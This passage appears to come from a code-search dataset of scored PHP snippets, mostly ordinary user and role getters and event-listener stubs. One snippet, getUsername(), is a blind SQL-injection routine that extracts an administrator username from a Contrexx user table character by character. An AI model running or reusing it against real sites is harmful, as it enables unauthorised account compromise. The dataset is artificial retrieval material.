false;\n\t\t\t}\n\t\t\t\n\t\t\t/**\n\t\t\t *\tLa respuesta llega \n\t\t\t */\n\t\t\t{$id_js}.metodo_callback = function(respuesta) {\n\t\t\t\tthis.nodo_pie().innerHTML = respuesta.get_cadena('html_puro');\t\t\n\t\t\t\teval(respuesta.get_cadena('javascript'));\n\t\t\t}\n\t\t\";\n\t}", "title": "" }, { "docid": "6a9a0a1dd7e194f870ea29d674ac71b7", "score": "0.5322616", "text": "public function getUsername()\n {\n \tif($this->idPersonneMembre == null)\n \t\treturn \"null\";\n \telse\n\t \treturn $this->idPersonneMembre->getMail();\n }", "title": "" }, { "docid": "5d62fd43b9e328153f977d29f4fc0c92", "score": "0.5317424", "text": "public function message()\n {\n return 'La cantidad es mayor al presupuesto elegido. (Tome en cuenta el IVA)';\n }", "title": "" }, { "docid": "9be6621074b0bbfb98e30e685a4554c3", "score": "0.53128016", "text": "function getusericon($level=0)\n{\n\tswitch( level )\n\t{\n\t\tcase '1':\n\t\t\t$icon = 'user-customer';\n\t\t\tbreak;\n\t\tcase '2':\n\t\t\t$icon = 'user-user';\n\t\t\tbreak;\n\t\tcase '3':\n\t\t\t$icon = 'user-user-admin';\n\t\t\tbreak;\n\t\tcase '4':\n\t\t\t$icon = 'user-admin';\n\t\t\tbreak;\n\t\tdefault:\n\t\t\t$icon = 'user-no-user';\n\t}\n\treturn $icon;\n}", "title": "" }, { "docid": "b68e5fc7ee11d821121f0beca10bbdce", "score": "0.53043944", "text": "public function userType()\n {\n return 'Gerente';\n }", "title": "" }, { "docid": "78ee56b3d2759b27f30a69c9bcfc1104", "score": "0.52831167", "text": "public function getRolImportadorText() {\n if($this->getRolImportador()){\n return Entidad::$SI;\n }else {\n return Entidad::$NO;\n }\n }", "title": "" }, { "docid": "2985c5d2ddc55687772f76d61dd0bb2a", "score": "0.52827764", "text": "static function saudacaoUsuario() {\r\n $today = getdate();\r\n $hour = $today['hours'];\r\n\r\n if ($hour >= 5 && $hour < 12) {\r\n return \"Bom dia\";\r\n } else if ($hour >= 12 && $hour < 18) {\r\n return \"Boa tarde\";\r\n } else if (($hour >= 18 && $hour < 24) || ($hour >= 1 && $hour < 5)) {\r\n return \"Boa noite\";\r\n }\r\n return \"\";\r\n }", "title": "" }, { "docid": "15c7fceeb88bd1db620f34f04fb828f8", "score": "0.52823544", "text": "protected function getIdentityName(){\r\n // example: \r\n // $model = MyPeople::model()->findByPk($this->getIdentity());\r\n // return $model->userFullName();\r\n if (isset(Yii::app()->user->name)){\r\n return Yii::app()->user->name;\r\n }\r\n return \"anonim\"; \r\n }", "title": "" }, { "docid": "d9f2a45abc385066bae2023dd647d8c0", "score": "0.5281806", "text": "public function getDatosUserAttribute()\n {\n return $this->id . ' - ' . $this->nombre . ' - ' . $this->username . ' - ' . $this->email;\n }", "title": "" }, { "docid": "c0238dbd1c6c5c54aa2e07cdbf5e63c1", "score": "0.5281708", "text": "protected function getNombreUsuario($usu_id)\n {\n $nombreCompleto='';\n try{\n $conexion = new Criteria();\n $conexion->add(AgilhuUsuarioPeer::USU_ID,$usu_id); \n $creadorProyecto = AgilhuUsuarioPeer::doSelectOne($conexion);\n $nombreCompleto=$creadorProyecto->getUsuNombres();\n $nombreCompleto.=' '.$creadorProyecto->getUsuApellidos();\n }\n catch(Exception $e){\n echo('no encuentro el usuario');\n }\n\n return $nombreCompleto;\n }", "title": "" }, { "docid": "9c05c85b56dc55acc37f2269f367f390", "score": "0.5273469", "text": "public function getName() {\n $output = '';\n if($this->imie != '' || $this->nazwisko != '')\n $output = $this->imie . \" \" . $this->nazwisko;\n else\n $output = $this->login;\n\n return $output;\n }", "title": "" }, { "docid": "cefb355a59d5fda428d771e7617d9098", "score": "0.5270584", "text": "public function role_name(){\r\n\t\t$role = 'Not set.';\r\n\t\tswitch($this->role_id){\r\n\t\t\tcase '1' \t: $role = 'Superadmin';\r\n\t\t\t\tbreak;\r\n\t\t\tcase '2'\t: $role = 'Administrator';\r\n\t\t\t\tbreak;\t \t\r\n\t\t};\r\n\t\treturn $role;\r\n\t}", "title": "" }, { "docid": "d367034cab6379e37a96285b89d0bf05", "score": "0.52660567", "text": "public function getNombre_usuario()\n {\n return $this->nombre_usuario;\n }", "title": "" }, { "docid": "215fe101f0498dc688935368ac974b18", "score": "0.5262828", "text": "public function getUserTypeFormatted()\n\t{\n\t\t//$queryResult = $this->database->runQuery(\"SELECT description FROM role WHERE role = '\" . $this->userType . \"'\");\n\t\t//$result = mysql_fetch_array($queryResult, MYSQL_ASSOC);\n\t\t//return $result['description'];\n\t\t$stmt = $this->database->query('SELECT description FROM role WHERE role = \"' . $this->userType . '\"');\n\t\t$result = $stmt->fetchAll(PDO::FETCH_ASSOC);\n\t\treturn $result[0]['description'];\n\t}", "title": "" }, { "docid": "91b891bb704069c974f1df130176d210", "score": "0.5259526", "text": "public function __toString()\n {\n $format = \"User (id: %s, firstname: %s, lastname: %s, password: %s)\\n\";\n return sprintf($format, $this->idUtilisateur, $this->nom, $this->prenom, $this->password);\n }", "title": "" }, { "docid": "f29d78de60998d549cb29f6289e65ab3", "score": "0.52539164", "text": "private function Usuario(){\n\t\t$mensaje = '';\n\n\t\tif( isset($_SESSION['cliente_nombre']) && isset($_SESSION['cliente_id']) ){\n\t\t\t$mensaje .= \"\\tUsuario: \".$_SESSION['cliente_nombre'].\"\\n\";\n\t\t\t$mensaje .= \"\\tID: \".$_SESSION['cliente_id'].\"\\n\";\n\t\t\t$mensaje .= \"\\tIP: \".$_SERVER[\"REMOTE_ADDR\"].\"\\n\";\n\t\t}else{\n\t\t\t$mensaje .= \"\\tUsuario: Invitado\\n\";\n\t\t\t$mensaje .= \"\\tIP: \".$_SERVER[\"REMOTE_ADDR\"].\"\\n\";\n\t\t}\n\n\t\treturn $mensaje;\n\t}", "title": "" }, { "docid": "ce271dd23acecb5227b77ed92f7b1e28", "score": "0.5234469", "text": "function wppb_userlisting_user_nicename( $value, $name, $children, $extra_info ){\r\n\t$user_id = ( ! empty( $extra_info['user_id'] ) ? $extra_info['user_id'] : get_query_var( 'username' ) );\r\n\t$userID = wppb_get_query_var( 'username' );\r\n\t$user_info = ( empty( $userID ) ? get_userdata( $user_id ) : get_userdata( $userID ) );\r\n\r\n\tif( ! empty( $user_info ) )\r\n\t\treturn $user_info->user_nicename;\r\n}", "title": "" }, { "docid": "449c93631c8e2dee7f6e6cce04627a4f", "score": "0.52190554", "text": "function cambiarTituloLogin(){\n return ('IASD 15 Avenida');\n}", "title": "" }, { "docid": "615c9d04fe726a3288a26365f4a83190", "score": "0.5208903", "text": "public function getnombreCanal()\n {\n return $this->nombreCanal;\n }", "title": "" }, { "docid": "ab2355f03d7fa5d7201e9dae4b8b00ed", "score": "0.5194276", "text": "public function ctrMostrarAsistencias($nivel,$periodo,$grupo,$condicion,$fecha){\n \n $objAsis = new UsersModel(); \n $asistencia = $objAsis->mdlVerTelefonosUsuarios($nivel,$periodo,$grupo,$condicion,$fecha);\n\t\treturn $asistencia;\n\t}", "title": "" }, { "docid": "361bc3a274cd96a45d09e3ff20334eb8", "score": "0.5192861", "text": "function GetUserType($type)\n\t\t{\n\t\t\tif($type == 0){\n\t\t\t\t$strType = 'User';\n\t\t\t}elseif($type == 1){\n\t\t\t\t$strType = 'Admin';\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$strType = 'Supervisor';\n\t\t\t}\n\t\t\treturn $strType;\n\t\t}", "title": "" }, { "docid": "dc8e16fb16146afe4b071c3aadce9278", "score": "0.51908463", "text": "public function __toString()\n {\n return $this->username;\n }", "title": "" }, { "docid": "dc8e16fb16146afe4b071c3aadce9278", "score": "0.51908463", "text": "public function __toString()\n {\n return $this->username;\n }", "title": "" }, { "docid": "cf426a4324e6411f7cbccde0d9408a3d", "score": "0.51852113", "text": "public function privilegesString() {\n\t\tif ($this->privileges == 'admin') \n\t\t\treturn \"systemadministatör\";\n\t\tif ($this->privileges == 'pm-admin') \n\t\t\treturn \"PM-ansvarig\";\n\t\tif ($this->privileges == 'verified') \n\t\t\treturn \"verifierad\";\n\t\treturn \"overifierad\";\n\t}", "title": "" }, { "docid": "72618e6b8830decb48549551fcac0f77", "score": "0.5183645", "text": "public function __toString(): string\n {\n return $this->username;\n }", "title": "" }, { "docid": "956dc11148697b93ea609f3b922e7e84", "score": "0.51806426", "text": "public function getTipoDocumentoIdentificativo() {\n switch (\\App\\Lib\\Base\\Utilidades::calcularTipoDocumentoIdentificativo($this->getDni())) {\n case 1:\n return 'NIE';\n case 2:\n return 'DNI';\n case 0:\n default:\n return '';\n }\n }", "title": "" }, { "docid": "945cd622a1b871ddae2beeeaf5e00f30", "score": "0.5177193", "text": "function getNombreCompleto1($echo = false) \n {\n leerClase('Usuario');\n if (!$this->usuario_id)\n return false;\n $usuario = new Usuario($this->usuario_id);\n return $usuario->getNombreCompleto($echo);\n }", "title": "" }, { "docid": "e37bf920758ca0a8712fc7b7faaf5784", "score": "0.51673794", "text": "public function getUsername(): string\n {\n return (string) $this->id;\n }", "title": "" }, { "docid": "7659fc2f8aecd1e47973d195a9cc9234", "score": "0.5163776", "text": "public function message()\n {\n return \"This word cannot be used as a username.\";\n }", "title": "" }, { "docid": "20c2004bfe5c727b4c2e6a9df271b951", "score": "0.5153875", "text": "protected function readablePerm($mask)\n {\n return substr(sprintf('%o', $mask), -4);\n }", "title": "" }, { "docid": "5e46de06ef27b66d922f96ab9a6f51ff", "score": "0.51479834", "text": "function getAfficheUser(){\n $connexion = getBDD();\n $requete = \"select num_user, nom_user, prenom_user from utilisateur;\";\n $ligne = $connexion->select($requete);\n return $ligne;\n }", "title": "" }, { "docid": "453481d69ed37c216f433297d915269d", "score": "0.51460934", "text": "private function texto() {\n // print_r($node);\n\n // FIXME - O número [5] é sem sentido\n return $this->leitura->childNodes->item(5);\n }", "title": "" }, { "docid": "a55c315029d39b1508f88f31c6eb6389", "score": "0.51409763", "text": "protected function getNombreObjeto() {\n return strtolower($this->clase);\n }", "title": "" }, { "docid": "381dfd20119eafef2c6417df93581133", "score": "0.51290417", "text": "function miFuncion () {\n //mostrara un numbre\n return 'Esto es un nombre';\n }", "title": "" }, { "docid": "415718a8f519c4f992ca5cd16925d84c", "score": "0.51235044", "text": "public function getBuscaNombre(){\n $sql = \"SELECT count(IdRol) AS RolNombre\n FROM \". $this->db_table .\"\n WHERE RolNombre = ? AND IdRol <> ? \";\n\n $stmt = $this->conn->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));\n\n $stmt->bindParam(1, $this->RolNombre, PDO::PARAM_STR);\n\t\t\t$stmt->bindParam(2, $this->IdRol, PDO::PARAM_INT);\n\n $stmt->execute();\n\n $dataRow = $stmt->fetch(PDO::FETCH_ASSOC);\n \n $this->RolNombre = $dataRow['RolNombre'];\n }", "title": "" }, { "docid": "bddbea3f3403e8807c3caabcd6abff1f", "score": "0.5117451", "text": "public function getIdOptionNivelAsociado()\n {\n return $this->id_option_nivel_asociado;\n }", "title": "" }, { "docid": "53b584e0bbce204b6f2506b1529948fc", "score": "0.51095426", "text": "function saveEditUser() {\n $valid = $this->du->getCountUsersByLogin($this->getlogin());\n if ($valid > 1) {\n $msg = USUARIO_EXISTENTE;\n } else {\n $r = $this->du->updateUser($this);\n if ($r == 'true') {\n $msg = USUARIO_EDITADO;\n } else {\n $msg = ERROR_EDIT_USER;\n }\n }\n return $msg;\n }", "title": "" }, { "docid": "6ab7822f6c484dfc40acdc5de749478e", "score": "0.5103118", "text": "public function getUserNom(){\n\t\treturn $this->__get('user_nom');\n\t}", "title": "" }, { "docid": "48976389e057532047f550fb7425c663", "score": "0.51008195", "text": "public function getRestrictedText()\n {\n $userRestricted = $this->getRestrictedStatus();\n return isset($userRestricted[$this->restricted_id]) ?\n $userRestricted[$this->restricted_id] : \"unknown restricted ({$this->restricted_id})\";\n }", "title": "" }, { "docid": "0658ec7259ae943c2aec577065234437", "score": "0.50828207", "text": "public function getNombreCompletoAttribute()\n {\n \tif($this->attributes['per_tipodocumento'] == 'DNI'):\n \t\treturn $this->attributes['per_nombres'].' '.$this->attributes['per_apaterno'].' '.$this->attributes['per_amaterno'];\n \telse:\n \t\treturn $this->attributes['per_razonsocial'];\n\t\tendif;\n }", "title": "" }, { "docid": "62c3137f7c7a83f5dcdf648ee0b27afa", "score": "0.50787526", "text": "public function displayUser()\n {\n $user = $this->getOwner();\n if (empty($user)) {\n return __('No user / deleted user [%d]', $this->user_id);\n }\n return $user->name . ' (' . $user->username . ')';\n }", "title": "" }, { "docid": "a21c9188f0e3a6e64ee405d2ae434bee", "score": "0.5074972", "text": "public function getRole()\n {\n return '';\n }", "title": "" }, { "docid": "ed51f929ec3e19f193ff2b081538567b", "score": "0.5070958", "text": "public function message()\n {\n return 'The username is forbidden. Please pick another one.';\n }", "title": "" }, { "docid": "5f79d15812c4ebd283397d93c9be55d3", "score": "0.50707394", "text": "public function getUsername(): string\n {\n return (string)$this->username;\n }", "title": "" }, { "docid": "2c82523bf3b121258ab73e65aaae8988", "score": "0.50680274", "text": "public function getUsername()\n {\n return $this->getCorreo();\n\n }", "title": "" }, { "docid": "e71ff2d5b6e4f0a62a20a723ded70c6a", "score": "0.50674343", "text": "public function getRolCompVendText() {\n if($this->getRolCompVend()){\n return Entidad::$SI;\n }else {\n return Entidad::$NO;\n }\n }", "title": "" }, { "docid": "ebeb0de3302ea32d2d9cb6eab7baca92", "score": "0.5066853", "text": "public function toString()\n {\n return \"Id: $this->id | Email Usuario: $this->emailUsuario | Email Empleado: $this->emailEmpleado | Sabor: $this->sabor | Tipo: $this->tipo | Cantidad: $this->cantidad\";\n }", "title": "" }, { "docid": "dc08700a7e87da90a7f29f3ce92d706a", "score": "0.5061975", "text": "public function __toString()\n {\n return $this->getUser()->__toString();\n }", "title": "" }, { "docid": "327fda2ae1f46fa947fd827cb25e0209", "score": "0.5058136", "text": "public static function permisosUsuarios()\n {\n //Variable con los permisos del usuario\n $dato_tipo = Sentencias::Seleccionar(\"tipos_usuarios\", \"id\", array($_SESSION[\"tipo\"]), 0, null);\n\n //se declaran las variables active\n $active1 = null;\n $active2 = null;\n\n //Se cambian las variables en caso de que cumpla la condicion\n if(!empty($_GET[\"id_usuario\"]))\n {\n $active1 = \"active\";\n $active2 = null;\n }\n\n echo\n (\"\n <div class='row'>\n <div class='col s10 offset-s1'>\n <ul class='tabs'>\n \");\n\n //Aqui renderiza la tabla de permisos\n //Renderiza solo cuando tiene permisos de lectura\n if($dato_tipo[\"usuarios\"] > 0)\n {\n echo\n (\"\n <li class='tab col s6'><a class='$active2 blue-text text-darken-4' href='#lista'>Lista de usuarios</a></li>\n \");\n }\n\n //Renderiza cuando tiene permisos para crear y modificar\n if($dato_tipo[\"usuarios\"] == 2 || $dato_tipo[\"usuarios\"] == 3 || $dato_tipo[\"usuarios\"] > 4)\n {\n echo\n (\"\n <li class='tab col s6'><a class='$active1 blue-text text-darken-4' href='#registro'>Agregar usuario</a></li>\n \");\n }\n\n echo\n (\"\n </ul>\n </div>\n </div>\n \");\n }", "title": "" }, { "docid": "977642a7d6fece00f2154bee54b9f677", "score": "0.50514954", "text": "public function getAdministrativo()\n {\n if (! is_null($this->administrativo))\n {\n return \"{$this->administrativo->nomb_admi} {$this->administrativo->pape_admi} {$this->administrativo->sape_admi}\";\n }\n }", "title": "" }, { "docid": "3eec99a6282639f1a8c010a45e289ad5", "score": "0.5043645", "text": "public function __toString(){\n $mensaje = \"-ID Teatro: \".$this->getIdTeatro().\"\\n\".\n \"-Nombre del Teatro: \" . $this->getNombre() . \"\\n\" .\n \"-Direccion del Teatro: \" . $this->getDireccion() . \"\\n\".\n \"----Funciones----\\n\".$this->mostrarColeccion($this->getColFunciones());\n return $mensaje;\n }", "title": "" }, { "docid": "08c13c876aa2aa10e13134e014dabc6a", "score": "0.5035464", "text": "public function getNamaLengkap(){\n return $this->nama.' ('.$this->username.')';\n }", "title": "" }, { "docid": "337f0165ea1943c3c0d5ee274598649d", "score": "0.5028823", "text": "function estado($salas) {\n // si el campo \n if($salas['id_usuario'] == NULL) {\n return '<label class=\"libre\">Libre</label>';\n // Si no, mostramos con un label que la mesa esta ocupada.\n } else {\n return '<label class=\"ocupada\">Ocupada</label>';\n }\n }", "title": "" }, { "docid": "49000a3c2efd4efbc858907782593bc6", "score": "0.5027348", "text": "public function getNumeroPermiso()\n {\n return $this->numeroPermiso;\n }", "title": "" }, { "docid": "6b70d51a2386f298451a0e18414ce940", "score": "0.5020111", "text": "public function __toString() {\n\n $string = (string) $this->username;\n\n if(!empty($this->password) && !empty($string)) {\n\n $string .= ':'.$this->password;\n }\n\n return $string;\n\n }", "title": "" }, { "docid": "7c4d2011417ba43df0bf40863c33642d", "score": "0.5008666", "text": "function get_user_role($id){\n\t\tif($id==1){\n\t\t\techo \"Administrator\";\n\t\t}elseif($id==2){\n\t\t\techo \"Company\";\n\t\t}elseif($id==3){\n\t\t\techo \"Tester\";\n\t\t}elseif($id==4){\n\t\t\techo \"SuperUser\";\n\t\t}\t\t\n\t}", "title": "" }, { "docid": "294d999e00f1247f2c484b0b506952c5", "score": "0.5003918", "text": "public function getUsername(): string\n {\n return (string) $this->userID;\n }", "title": "" }, { "docid": "2977fa64a4972106553bed4ca508bdf4", "score": "0.4998467", "text": "public function getCod_usuario()\r\n {\r\n return $this->cod_usuario;\r\n }", "title": "" }, { "docid": "31d492efc4afba4045563dc1c7a31db7", "score": "0.49876982", "text": "public function get_lenguaje(){\n\t\treturn $this->tipo;\n\t}", "title": "" }, { "docid": "923b6cff3962cffbc50cc6a83b9c47db", "score": "0.49872428", "text": "public function statue(){\n $statue = self::where('username',$this->username)->first();\n \n if($statue){\n if($statue->statue == 1 ) {\n echo '<span class=\"label border-left-success label-striped\">'.$this->lang['panelang']['4'].'</span>';\n }\n if($statue->statue == 2 ) {\n echo '<span class=\"label border-left-primary label-striped\">'.$this->lang['panelang']['5'].'</span>';\n }\n if($statue->statue == 3 ) {\n echo '<span class=\"label border-left-danger label-striped\">'.$this->lang['panelang']['6'].'</span>';\n } \n }\n echo \" \";\n }", "title": "" }, { "docid": "99f95dfcd3deff0d3d742c3aabc5a5a0", "score": "0.49729294", "text": "public function getCod_usuario()\n {\n return $this->cod_usuario;\n }", "title": "" }, { "docid": "5e6528a8c2ddae5db9b7a63e37a9eadb", "score": "0.4969008", "text": "public function mostrar_nombre(){\n //evaluamos si el usuario a dejado el nombre vacio o no\n if($this->nombre !== \"\"){\n //si el if se cumple se inicia el nombre con el valor suministrado\n echo 'value=\"'. $this-> nombre .'\"';\n }\n }", "title": "" }, { "docid": "c32ee733eecb47310ed1bfa04e6aa050", "score": "0.49638546", "text": "public function getCreatedByFullName() {\n if ($this->getEmpleado()) {\n return $this->getEmpleado()->getNombre();\n } elseif ($this->getDirectivo()) {\n return $this->getDirectivo()->getNombre();\n } else {\n throw new Exception(\"Invalid user type\");\n }\n }", "title": "" }, { "docid": "3c161a5bc9592f3e1ac168717674cefc", "score": "0.49627334", "text": "function getUsername($toLength, $charset_start, $charset_end, $target_url,$limit)\r\n{\r\n\t$username = \"\";\r\n\t// Get Length\r\n\t$length = -1;\r\n\tfor($i=0;$i<$toLength;$i++)\r\n\t{\r\n\t\t$url = $target_url . \"/**/and/**/(select/**/length(username)/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1)=\" . $i;\r\n\t\t$src = file_get_contents($url);\r\n\t\tif(testIt($src) == true)\r\n\t\t{\r\n\t\t\t$length = $i;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tif ($length == -1)\r\n\t{\r\n\t\tdie(\"There was a problem @ fetching username length :(\\r\\n\");\r\n\t}\r\n\techo \"Username length: $length !\\r\\n\";\r\n\t$username = \"\";\r\n\techo \"Username: \";\r\n\tfor($k=0;$k<$length;$k++)\r\n\t{\r\n\t\t$charToAdd = \"\";\r\n\t\tfor($c=$charset_start;$c<$charset_end;$c++)\r\n\t\t{\r\n\t\t\t$p = $k+1;\r\n\t\t\t$src = file_get_contents($target_url . \"/**/and/**/substring((select/**/username/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1),$p,1)=char($c)\");\r\n\t\t\tif(testIt($src) == true)\r\n\t\t\t{\r\n\t\t\t\t$charToAdd = $c;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\techo chr($c);\r\n\t\t$username .= chr($c);\r\n\t}\r\n\techo \"\\r\\n\";\r\n\treturn $username;\r\n}", "title": "" }, { "docid": "00c4d0d61f3ccdbaea5858cc3eb4e246", "score": "0.49621338", "text": "private function statusCatTipoUser($cat, $tipo, $user) {\n $ok = 0;\n if ($this->validaStatus('categoria', $cat)) {\n $ok++ ;\n }\n if ($this->validaStatus('tipo_lancamento', $tipo)) {\n $ok++ ;\n }\n if ($this->validaStatus('usuario', $user)) {\n $ok++ ;\n }\n \n return (($ok == 3) ? 1 : '');\n }", "title": "" }, { "docid": "b560d4464c45615dce0b45e469d9f2b0", "score": "0.49555445", "text": "public function titulo ()\n {\n ($this->_tipoDato == 'clientes') ? \n $titulo = 'Movimientos Clientes' : \n $titulo = 'Consumo Servicios';\n \n $titulo .= \" \" . ucfirst($this->_tipoVista) . \" \";\n \n ($this->anyoInicial == $this->anyoFinal) ? \n $titulo .= \" \" .$this->anyoInicial : \n $titulo .= \" \" . $this->anyoInicial . \"-\" .$this->anyoFinal;\n \n return $titulo;\n }", "title": "" }, { "docid": "99e949313cf7ebe63c238fff03ebd01b", "score": "0.4946037", "text": "function getUsuarioDoComentario($Livro, $codComentario)\n {\n\n // select id_usuario_post FROM post WHERE id_post = 110\n\n $resultado_id = $Livro->getResultSetFromSelect(['COD_COMENTARIO' => $codComentario], 'ID_USUARIO_COMENTOU', 'comentario_livro');\n\n $registro = mysqli_fetch_array($resultado_id, MYSQLI_ASSOC);\n\n $idUsuarioComent = $registro['ID_USUARIO_COMENTOU'];\n\n return $idUsuarioComent;\n }", "title": "" }, { "docid": "839ae82ab4bc49aa926db35d5fa25bc4", "score": "0.4941569", "text": "function getPrintableName($id, $mode = 'full') {\n\t\t$user = $this->getUserById ( $id );\n\t\t$user_data = $user;\n\t\tif (empty ( $user )) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tswitch ($mode) {\n\t\t\tcase 'first' :\n\t\t\tcase 'fist' : //because of a common typo :)\n\t\t\t\t$user_data ['first_name'] ? $name = $user_data ['first_name'] : $name = $user_data ['username'];\n\t\t\t\t$name = ucwords ( $name );\n\t\t\t\treturn $name;\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 'last' :\n\t\t\t\t$user_data ['last_name'] ? $name = $user_data ['last_name'] : $name = $user_data ['last_name'];\n\t\t\t\t$name = ucwords ( $name );\n\t\t\t\treturn $name;\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 'username' :\n\t\t\t\t$name = $user_data ['username'];\n\t\t\t\treturn $name;\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 'full' :\n\t\t\tdefault :\n\t\t\t\t$name = $user_data ['first_name'] . ' ' . $user_data ['last_name'];\n\t\t\t\t\n\t\t\t\tif (trim ( $name ) == '') {\n\t\t\t\t\t$name = $user_data ['username'];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$name = ucwords ( $name );\n\t\t\t\treturn $name;\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t\n\t\t}\n\t\texit ();\n\t}", "title": "" }, { "docid": "3afab815a05f99158c2ce72f10176896", "score": "0.4940283", "text": "public function getNombreCompleto(){\n\n\t\treturn sprintf('%s %s',$this->nombres, $this->apellidos);\n\t}", "title": "" } ]
48ad4114a8bfd63ded17b57170aa30bb
Create the event listener.
[ { "docid": "e0b04e672070d25c63b228ecce652174", "score": "0.0", "text": "public function __construct()\n {\n //\n }", "title": "" } ]
[ { "docid": "92dd79832ff3b551739c88bea1db6d47", "score": "0.6676077", "text": "protected function set_listener()\n {\n // add_action is a wrapper for add_filter\n add_filter($this->tag, [$this, 'listener_callback'], 0);\n }", "title": "" }, { "docid": "7cea72838c896034b37d68e1e2dcba77", "score": "0.6496245", "text": "public function setListener() {\n\t\t$this->listener = new CombatEventListener($this);\n\t}", "title": "" }, { "docid": "a068692653dc3b3e9a691e9c1f09cfd9", "score": "0.6395968", "text": "public function registerEventCallback(){\n\n\t\t}", "title": "" }, { "docid": "030f31517138cef135945ce3e8cc2a3a", "score": "0.6263037", "text": "public static function registerListeners();", "title": "" }, { "docid": "bdb11325436fe4623059d09fedb31c99", "score": "0.6220904", "text": "private function init_event_listeners() {\n\t\t// add_action('wp_ajax_example_action', [$this, 'example_function']);\n\t}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "016f9681ee89cebd88474cb6619f2aee", "score": "0.62192935", "text": "public function on($event, callable $listener) {}", "title": "" }, { "docid": "c240e65f87d4ac0b12436e4d212cdcc4", "score": "0.62152547", "text": "private function setupEvents() {\n $events = $this->getEvents();\n foreach ($events as $event => $listener) {\n EventHandler::addListener($event, array($this, $listener));\n }\n }", "title": "" }, { "docid": "d60dd751a1736280f5622f41bf992821", "score": "0.61735904", "text": "public function on($event, callable $listener) ;", "title": "" }, { "docid": "8cc5f32590933831fa9ad0b7b653e9b7", "score": "0.616069", "text": "protected function setupListeners()\n {\n //\n }", "title": "" }, { "docid": "8dbddd507f5e74458c80066a0d30e4ec", "score": "0.61049384", "text": "public function eventListenerAdded($event_name)\n {\n }", "title": "" }, { "docid": "d14ea24e8b004b8bf07e563530b24084", "score": "0.6089165", "text": "public function create($vEvent);", "title": "" }, { "docid": "1cc6ccafa614e833e001400d3864ddbc", "score": "0.6056209", "text": "private function createStreamCallback()\n {\n $read =& $this->readListeners;\n $write =& $this->writeListeners;\n $this->streamCallback = function ($stream, $flags) use(&$read, &$write) {\n $key = (int) $stream;\n if (\\EV_READ === (\\EV_READ & $flags) && isset($read[$key])) {\n \\call_user_func($read[$key], $stream);\n }\n if (\\EV_WRITE === (\\EV_WRITE & $flags) && isset($write[$key])) {\n \\call_user_func($write[$key], $stream);\n }\n };\n }", "title": "" }, { "docid": "7a084559da3856cd744c65a1574e11bf", "score": "0.60502934", "text": "public function addEventListener(string $eventClass, callable $listener, int $priority = 0): EnvironmentBuilderInterface;", "title": "" }, { "docid": "b252a9beccb60364a50c0b69b7b1025f", "score": "0.5959709", "text": "protected function registerListeners()\n {\n }", "title": "" }, { "docid": "d1a73a17a5757d3c11161994f069eb96", "score": "0.59586906", "text": "public function listen($listener);", "title": "" }, { "docid": "1f904db9d56b8683538fc4d72851cd18", "score": "0.59579515", "text": "public function __construct() {\n $this->e = new EventManager($this);\n }", "title": "" }, { "docid": "c532b318d6cc7126d17ae0ac7bda71eb", "score": "0.5946344", "text": "public function createEvent()\n {\n return new Event();\n }", "title": "" }, { "docid": "2275556fee66c0c8489bc05a6cd49271", "score": "0.59453475", "text": "public static function newListener($eventname_str, $callback, $callback_args=self::NO_ARGS, $subject_obj = null)\r\n {\r\n if(!isset(self::$_listener[$eventname_str]))\r\n self::$_listener[$eventname_str] = array();\r\n \r\n self::$_listener[$eventname_str][] = array('call'=>$callback,'args'=>$callback_args, 'subject'=>$subject_obj);\r\n }", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function listeners($event) {}", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function listeners($event) {}", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function listeners($event) {}", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function listeners($event) {}", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function listeners($event) {}", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function listeners($event) {}", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function 